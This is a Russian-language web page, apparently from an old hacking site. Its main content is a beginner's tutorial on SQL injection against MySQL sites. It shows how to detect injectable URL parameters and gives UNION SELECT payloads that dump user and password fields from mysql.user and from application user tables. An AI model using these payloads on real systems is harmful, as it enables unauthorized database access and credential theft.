Ошибка: Failed to parse the Currency Converter XML document.
$1 538.70


Ошибка: Failed to parse the Currency Converter XML document.
$26 487.07


Ошибка: Failed to parse the Currency Converter XML document.
$1 412.48


SQL injection

Что побудило меня написать эту статью?
Желание поделиться навыками, с другими начинающими хакерами.

Статья эта написана только в целях повышения уровня знаний и за любое другое применение автор не несёт ответственности!!!

Все примеры описаны для Mysql.

Теория.

1. Обнаружение SI.

Во первых нам надо узнать, использует ли сервер SQL вообще, для этого по бродим по ссылкам, если через URL(То есть методом GET) передаются числовые параметры, то сервер скорее всего использует SQL, чтобы убидиться в этом подставим несуществующее значение (Обычно подходит — 1 или 99999), если сервер, в том месте где должна быть информация, выдал пустое место, значит SQL используется!!!

Возможно два способа!
1.1 Подставляем «/*
После такой подстановки, если Magicquotes = off, Сервер выдаст ошибку или пустую страницу, это говорит о том, что сервер скорее всего подвержен атаке.

Происходит это из — за того что запрос принимает вот такой вид:
$query=mysql_query(« select* from `table` where `id`=»«/* and `id2`=»id2«);
Вряд ли кодеры предусматривали такой вариант и вставили пустое значение в id =)


1.2 Проверяем Математикой =)
Итак предположим на » ответ отрицательный, тогда проверим корректно ли написан запрос!
Предположим мы имеем дело с таким параметром id=2 при этом сервер выдал нам какую-то информацию.

Теперь проверим =) Подставляем в id математическое выражение т.е. id=3-1 если сервер выдал ту же информацию, сервер 95\% подвержен атаке =)

Реализация...

Мы не можем узнать как выглядит запрос в перво источнике, но для теоретического понимания приведу пример, и что происходит с запросом, при вставке нашего кода.

$query=mysql_query(« select * from `table` where `id`=id and `id2`=«id2»);
или
$query=mysql_query(» select * from `table` where `id`=«id» and `id2`=«id2»); при выключенных MAGICQUOTES

Итак мы вставляем в id следующее значение — id = — 1+union+select+1,2/* или id = — 1«+union+select+1,2/* во втором случае.

Запрос превращается вот в такой:
$query=mysql_query(» select* from `table` where `id`= — 1 union select 1,2/* and `id2`=»id2«);
$query=mysql_query(" select* from `table` where `id`=» — 1« union select 1,2/* and `id2`=»id2');
Union используется для обьединения запросов.

Нам нужно узнать, сколько полей используется в запросе.Делается это следующим запросом —
id= — 1+union+select+1/*
/* — используется для того, чтобы не работала остальная часть запроса, и обозначает открытие коментария.

Если выдаётся ошибка типа «select statement ...» Значит используется больше полей! Изменяем запрос
id= — 1+union+select+1,2/*
И добавляем до тех пор, пока не получим вывод без сообщений об ошибках!
Итак мы добились своего! Идём дальше =) Предположим мы знаем имена таблиц(если нет, то можно воспользоваться программой от rst(rst.void.ru))

В первую очередь проверяем, есть ли права на выборку из БД `mysql` Составляем вот такой запрос
id= — 1+union+select+user,password+from+mysql.user/*
Где user,password — имена полей для выборки! Если на страницу выводиться только один результат, то можно перебирать результаты используя функцию SQL — limit ...

Предположим, мы знаем, что есть таблица, имя которой reguser, и вней есть поля usr и pwd =)
Чтобы их вывести составляем такой запрос
id= — 1+union+select+usr,pwd+from+reguser/*

Вот и всё, это мои знания по SQL Injection которых мне пока хватает =)
Greetz: Всем, кто описывал этот тип атаки =)

 

Интересное

Социальная инженерия
Что такое социальная инженерия?? Многие задают себе этот вопрос.Одни думают что это какая то новая точная наука наподобоие математики или физики. А нет!!!!Это искусство ведения разговора и...
Подробнее...
Windows Seven выйдет в...
В Орландо, где ежегодно проводится конференция по подведению итогов продаж компании Microsoft, сообщили о том, что на разработку Windows Seven потребуется не менее 3 лет.Следует отметить, что в...
Подробнее...
CSS дизайн: с учетом контекста
Веб-стандарты обещают нам улучшенную поддержку мультимедиа: возможность оптимизировать контент под возможности компьютерных экранов, портативных устройств, принтеров, проекторов, и других...
Подробнее...
Забавное программирование...
Забавное программирование в DelphiПриведённый здесь материал можно озаглавить не иначе как «Чем заняться программисту, если нечего делать». На самом деле, Delphi настолько интересная среда,...
Подробнее...
10 способов заставить...
Операционная система Windows Vista отличается повышенной функциональностью и безопасностью, а также имеет красивый стиль оформления пользовательского интерфейса Aero transparency, функцию...
Подробнее...
Как выбрать LCD-монитор?
Данная статья призвана помочь вам в таком нелегком деле, как покупка монитора. В данный момент рынок предлагает огромное количество различных моделей, отличие которых многим пользователям не...
Подробнее...
Почтовые функции в РНР
Одним из возможных применений imap функций является создание почтового демона, который будет управлять подпиской и отпиской пользователей от вашей почтовой рассылки. Для реализации этой задачи,...
Подробнее...
Безопасная настройка PHP...
ПредисловиеПриходится признать, что операционные системы Windows не собираются уходить в небытие. Игнорировать этот факт нельзя, поэтому нужно научиться мирно сосуществовать с таковыми. Как...
Подробнее...
Счетчик посещений на Delphi
Счетчики предназначены для учета количества посетителей на Ваш сайт. Кроме этого на счетчик можно возложить операции ведения статистики, учет хостов откуда пришли посетители и т.д.Данный пример...
Подробнее...
Захват чужих имен
Особенности доменных имен, уже бывших в чей-то собственностиНе знаю, как вам, но мне иногда кажется, что все лучшие доменные имена уже разобрали. Не раз я придумывал потрясающее доменное имя, и...
Подробнее...